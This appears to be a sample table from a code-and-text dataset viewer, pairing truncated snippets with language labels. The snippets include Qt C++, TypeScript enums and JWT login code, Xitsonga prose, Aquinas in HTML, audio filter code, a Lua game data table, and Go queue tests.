#ifdef Q_OS_MAC
// Not sure if this is needed, but other Mac code adds 2 pixels to scroll bar width;
// see transactionview.cpp, search for verticalScrollBar()->si... | C++ |
leswaku mpfu ma leko wa mitirho na vusweti swi ya e mahlweni hambi leswi ku nga va na ku ku la ka ikhonomi e ka malembe ya 10 la wa ya hundze ke .
I na e ka xi boho xa ku rhu la xa swi phiqo swa misava hinkwa yo .
Ku antswi sa m phakelo e ka ndhawu leyi , hi ta ya e mahlweni ku simeka endlelo ra hi na ro twisise ka ... | Typescript |
TypeID {
MOTOR = 0x0001,
SYSTEM_TRAIN_MOTOR = 0x0002,
BUTTON = 0x0005,
LED_LIGHT = 0x0008,
VOLTAGE = 0x0014,
CURRENT = 0x0015,
PIEZO_TONE_SOUND = 0x0016,
RGB_LIGHT = 0x0017,
EXTERNAL_TILT_SENSOR = 0x0022,
MOTION_SENSOR = 0x0023,
VISION_SENSOR = 0x0025,
EXTERNAL_MOTOR = 0x... | Typescript |
>
<p><b><i>Objection 1:</i></b> It seems that sacred doctrine is not a science. For every science proceeds from self-evident principles. But sacred doctrine proceeds from articles of faith which are not self-evident, since their truth is not admitted by all: "For all men have not faith" (<a href="http://drbo.org/cgi-... | HTML |
] = 0.0; //bandpass can simplify the biquad kernel: leave out this multiply
biquadC[4] = -biquadC[2];
biquadC[5] = 2.0 * (K * K - 1.0) * norm;
biquadC[6] = (1.0 - K / biquadC[1] + K * K) * norm;
while (--sampleFrames >= 0)
{
double inputSampleL = *in1;
double inputSampleR = *in2;
if (fabs(inputSample... | C++ |
# Copyright 2025 Gaudiy Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | Python |
sha Mondklinge|Kneeling next to a tree on the side of the road.',
[3640] = '?|Entstehendes Ektoplasma|',
[3644] = 'A|Cerellean Weißklaue|To the left on the dock kneeling down.',
[3649] = 'A|Thundris Windwirker|Standing inside this long building, overlooking the water.',
[3650] = 'A|Asterion|Kneeling in a blue g... | Lua |
}
async login(user: Dentist|DentalLab) {
const payload = { email: user.email, id: user._id };
return {
access_token: this.jwtService.sign(payload),
};
}
static async hashPassword(password: string): Promise<string> {
return await bcrypt.hash(password, 10);
... | Typescript |
func(int)
)
if waitACK {
ackWG.Add(maxEvents)
total := 0
ackCB = func(N int) {
total += N
log.Debugf("producer ACK: N=%v, total=%v/%v\n", N, total, maxEvents)
for i := 0; i < N; i++ {
ackWG.Done()
}
}
}
producer := b.Producer(queue.ProducerConfig{
ACK: ackCB... | Go |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.